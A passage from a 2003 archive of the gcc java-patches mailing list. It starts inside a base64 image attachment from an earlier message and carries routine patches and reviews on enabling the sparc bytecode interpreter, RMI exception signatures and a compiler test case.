AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA --M520C56D1494J3CaJ0GrFi2 --M520C56D1494J3CaJ0GrFi2 Content-Type: application/octet-stream; name=tn_alyne_29[1].jpg Content-Transfer-Encoding: base64 Content-ID: /9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8S EhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEU Hh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAAR CABxAE4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDP+D/w1s/HWkaje3OqzWTWk6xKEVSDlc5J NXvH3w48F+EdAn1C58XXN1dRr8trF5W52I4GegHuf1rrf2SIrObQ9eSZLeSZbxGUOoZgNnUZ 7V4z+0TqDa18UrrQtNWCG0a6SLCpwTjLOfckk569q5sNh6H1eM5Ruz080zfMlm9ShSquMF0s uy8jjrHUlmkuROrRrHwm1w+D6FgMdPeqdxrhjuHiQBlQ4LYOD+OP8RXv/wAOfA+g6fYxwNaJ cysAWklGTn29Kp/Gn4dadJocusaVAIr63j3OFP8ArUHUH3A6VxXoOduXQ9h4rMY0+b2mvy/y PF9I1izuLjbeNPFCCN7RgMyj129/wNaNm0dxYPfbbqOEyMtvvABmA6sMZOPfHX6GuFVlHmQM 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9 --M520C56D1494J3CaJ0GrFi2-- From java-patches-return-5743-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 18:57:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19836 invoked by alias); 3 Jan 2003 18:57:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19827 invoked from network); 3 Jan 2003 18:57:44 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 209.249.29.67 with SMTP; 3 Jan 2003 18:57:44 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h03IvY914646 for ; Fri, 3 Jan 2003 13:57:34 -0500 Date: Fri, 3 Jan 2003 13:57:34 -0500 (EST) From: Jeff Sturm To: java-patches@gcc.gnu.org Subject: Enable interpreter for sparc*-* Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Depends on my closure patch. On sparcv9-sun-solaris2.8 I get === libjava Summary === # of expected passes 2869 # of unexpected failures 29 # of expected failures 15 # of untested testcases 36 Also the Kawa testsuite completes with zero errors. 2003-01-03 Jeff Sturm * configure.host (sparc*-*): Enable bytecode interpreter. Index: configure.host =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.host,v retrieving revision 1.40 diff -u -p -r1.40 configure.host --- configure.host 16 Dec 2002 18:22:52 -0000 1.40 +++ configure.host 3 Jan 2003 18:49:54 -0000 @@ -132,7 +132,8 @@ case "${host}" in libgcj_interpreter=yes enable_hash_synchronization_default=yes ;; - sparc-*) + sparc*-*) + libgcj_interpreter=yes ;; ia64-*) sysdeps_dir=ia64 From java-patches-return-5744-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 19:25:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30755 invoked by alias); 3 Jan 2003 19:25:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30720 invoked from network); 3 Jan 2003 19:25:42 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 209.249.29.67 with SMTP; 3 Jan 2003 19:25:42 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h03JKq119546; Fri, 3 Jan 2003 14:20:52 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h03JPSn20578; Fri, 3 Jan 2003 14:25:28 -0500 Received: from dhcp-172-16-25-234.sfbay.redhat.com (dhcp-172-16-25-234.sfbay.redhat.com [172.16.25.234]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h03JPRn08814; Fri, 3 Jan 2003 11:25:27 -0800 Subject: Re: [libffi] closures for sparc From: Anthony Green To: Jeff Sturm Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 03 Jan 2003 11:27:39 -0800 Message-Id: <1041622060.1560.34.camel@escape> Mime-Version: 1.0 On Sat, 2002-12-28 at 09:13, Jeff Sturm wrote: > This is a repost from July, cleaned up and retested on mainline. It > enables closures for sparc and sparc64, to prepare for enabling the > libjava bytecode interpreter. I saw your interpreter test results. Looks good to me. Thanks, AG From java-patches-return-5745-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 21:18:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21391 invoked by alias); 3 Jan 2003 21:18:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21379 invoked from network); 3 Jan 2003 21:18:23 -0000 Received: from unknown (HELO amsfep14-int.chello.nl) (213.46.243.22) by 209.249.29.67 with SMTP; 3 Jan 2003 21:18:23 -0000 Received: from node-c-6778.a2000.nl ([62.194.103.120]) by amsfep14-int.chello.nl (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP id <20030103211811.FIAN3670.amsfep14-int.chello.nl@node-c-6778.a2000.nl> for ; Fri, 3 Jan 2003 22:18:11 +0100 Subject: java.rmi.server.UnicastRemoteObject interface From: Dhek Bhun Kho To: Java Patch List Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 03 Jan 2003 22:18:11 +0100 Message-Id: <1041628691.10618.2.camel@tasslehof.bhun.net> Mime-Version: 1.0 The declared exceptions do not match the sun api spec's. It's really minor on one hand, but a major problem on the other as it breaks compiling existing code. This 'error' is also present in the current (2003-01-03) cvs version of classpath. Checked against current gcj cvs and 3.2.1 release. Index: gcc/libjava/java/rmi/server/UnicastRemoteObject.java =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/rmi/server/UnicastRemoteObject.java,v retrieving revision 1.4 diff -r1.4 UnicastRemoteObject.java 116c116 < throws RemoteException, NoSuchObjectException --- > throws NoSuchObjectException From java-patches-return-5746-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 22:33:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15597 invoked by alias); 3 Jan 2003 22:33:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15577 invoked from network); 3 Jan 2003 22:33:09 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 3 Jan 2003 22:33:09 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA12583; Fri, 3 Jan 2003 15:32:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4485A4F8073; Fri, 3 Jan 2003 15:35:51 -0700 (MST) To: Jeff Sturm Cc: java-patches@gcc.gnu.org Subject: Re: Enable interpreter for sparc*-* References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Youth of today! Join me in a mass rally for traditional mental attitudes! Date: 03 Jan 2003 15:35:51 -0700 In-Reply-To: Message-ID: <87hecpn9o8.fsf@fleche.redhat.com> Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Jeff" == Jeff Sturm writes: Jeff> Depends on my closure patch. Once that patch goes in, this is fine for the trunk and the 3.3 branch. This also deserves a news entry -- if you don't want to write one, tell me and I'll do it. Jeff> On sparcv9-sun-solaris2.8 I get Can I put you down as the Solaris handler on the 3.3 status page? Mostly this means you're willing to run `make check' from time to time. Jeff> # of unexpected failures 29 Could you send the FAIL list? Thanks. Tom From java-patches-return-5747-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 22:56:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28260 invoked by alias); 3 Jan 2003 22:56:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28249 invoked from network); 3 Jan 2003 22:56:49 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 3 Jan 2003 22:56:49 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA17596; Fri, 3 Jan 2003 15:56:32 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id CFE9F4F8073; Fri, 3 Jan 2003 15:59:28 -0700 (MST) To: Dhek Bhun Kho Cc: Java Patch List Subject: Re: java.rmi.server.UnicastRemoteObject interface References: <1041628691.10618.2.camel@tasslehof.bhun.net> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I smell like a wet reducing clinic on Columbus Day! Date: 03 Jan 2003 15:59:28 -0700 In-Reply-To: <1041628691.10618.2.camel@tasslehof.bhun.net> Message-ID: <873co9n8kv.fsf@fleche.redhat.com> Lines: 78 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> ">" == Dhek Bhun Kho writes: >> The declared exceptions do not match the sun api spec's. It's >> really minor on one hand, but a major problem on the other as it >> breaks compiling existing code. We treat divergences like this (for checked exceptions anyway) as serious bugs. Thanks for pointing this out. >> < throws RemoteException, NoSuchObjectException >> --- >> > throws NoSuchObjectException Please send unidiff (-u) patches and a complete ChangeLog entry. See the contribution page: http://gcc.gnu.org/contribute.html Also, in this case the patch didn't compile. An additional change was required. New patch appended. I'm checking this in on the trunk and the 3.3 branch. I also put it in Classpath. Tom Index: ChangeLog from Dhek Bhun Kho * gnu/java/rmi/server/UnicastServerRef.java (unexportObject): Don't throw RemoteException. * java/rmi/server/UnicastRemoteObject.java (unexportObject): Don't throw RemoteException. Index: gnu/java/rmi/server/UnicastServerRef.java =================================================================== RCS file: /cvsroot/classpath/classpath/gnu/java/rmi/server/UnicastServerRef.java,v retrieving revision 1.4 diff -u -r1.4 UnicastServerRef.java --- gnu/java/rmi/server/UnicastServerRef.java 31 Oct 2002 18:35:21 -0000 1.4 +++ gnu/java/rmi/server/UnicastServerRef.java 3 Jan 2003 22:38:13 -0000 @@ -1,5 +1,5 @@ /* - Copyright (c) 1996, 1997, 1998, 1999, 2002 Free Software Foundation, Inc. + Copyright (c) 1996, 1997, 1998, 1999, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -129,7 +129,7 @@ } -public boolean unexportObject(Remote obj, boolean force) throws RemoteException { +public boolean unexportObject(Remote obj, boolean force) { // Remove all hashes of methods which may be called. buildMethodHash(obj.getClass(), false); return UnicastServer.unexportObject(this, force); Index: java/rmi/server/UnicastRemoteObject.java =================================================================== RCS file: /cvsroot/classpath/classpath/java/rmi/server/UnicastRemoteObject.java,v retrieving revision 1.4 diff -u -r1.4 UnicastRemoteObject.java --- java/rmi/server/UnicastRemoteObject.java 31 Oct 2002 18:35:23 -0000 1.4 +++ java/rmi/server/UnicastRemoteObject.java 3 Jan 2003 22:38:14 -0000 @@ -1,5 +1,5 @@ /* - Copyright (c) 1996, 1997, 1998, 1999, 2002 Free Software Foundation, Inc. + Copyright (c) 1996, 1997, 1998, 1999, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -113,7 +113,7 @@ } public static boolean unexportObject(Remote obj, boolean force) - throws RemoteException, NoSuchObjectException + throws NoSuchObjectException { if (obj instanceof RemoteObject) { From java-patches-return-5748-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 23:05:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32565 invoked by alias); 3 Jan 2003 23:05:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32558 invoked from network); 3 Jan 2003 23:05:48 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 3 Jan 2003 23:05:48 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA19412; Fri, 3 Jan 2003 16:05:34 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A1E134F8073; Fri, 3 Jan 2003 16:08:26 -0700 (MST) To: Java Patch List Subject: Patch: FYI: PR 8712 test case From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. My pants just went on a wild rampage through a Long Island Bowling Alley!! Date: 03 Jan 2003 16:08:26 -0700 Message-ID: <87vg15ltlh.fsf@fleche.redhat.com> Lines: 26 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk and the branch. This is a test case for PR 8712. Andrew approved the fix off-line; I'll be checking it in shortly. Tom Index: ChangeLog from Tom Tromey * libjava.compile/pr8712.java: New file, for PR java/8712. Index: libjava.compile/pr8712.java =================================================================== RCS file: libjava.compile/pr8712.java diff -N libjava.compile/pr8712.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava.compile/pr8712.java 3 Jan 2003 23:04:40 -0000 @@ -0,0 +1,7 @@ +public class pr8712 +{ + boolean x(pr8712 a) + { + return (!(a instanceof pr8712)); + } +} From java-patches-return-5749-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 23:20:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9328 invoked by alias); 3 Jan 2003 23:20:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9316 invoked from network); 3 Jan 2003 23:20:34 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 209.249.29.67 with SMTP; 3 Jan 2003 23:20:34 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h03NKOL17921; Fri, 3 Jan 2003 18:20:24 -0500 Date: Fri, 3 Jan 2003 18:20:24 -0500 (EST) From: Jeff Sturm To: Anthony Green cc: gcc-patches@gcc.gnu.org, Subject: Re: [libffi] closures for sparc In-Reply-To: <1041622060.1560.34.camel@escape> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 3 Jan 2003, Anthony Green wrote: > On Sat, 2002-12-28 at 09:13, Jeff Sturm wrote: > > This is a repost from July, cleaned up and retested on mainline. It > > enables closures for sparc and sparc64, to prepare for enabling the > > libjava bytecode interpreter. > > I saw your interpreter test results. Looks good to me. Applied. Thanks. Jeff From java-patches-return-5750-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 23:38:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15559 invoked by alias); 3 Jan 2003 23:38:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15552 invoked from network); 3 Jan 2003 23:38:20 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 209.249.29.67 with SMTP; 3 Jan 2003 23:38:20 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-64-184.ewetel.net [80.228.64.184]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h03Nc7sM022185; Sat, 4 Jan 2003 00:38:07 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18UbNR-0002TX-00; Sat, 04 Jan 2003 00:37:21 +0100 From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] initial java.net.DatagramPacket merge with classpath Date: Sat, 4 Jan 2003 00:40:56 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200212190805.39142.konqueror@gmx.de> <87n0mino4b.fsf@fleche.redhat.com> In-Reply-To: <87n0mino4b.fsf@fleche.redhat.com> MIME-Version: 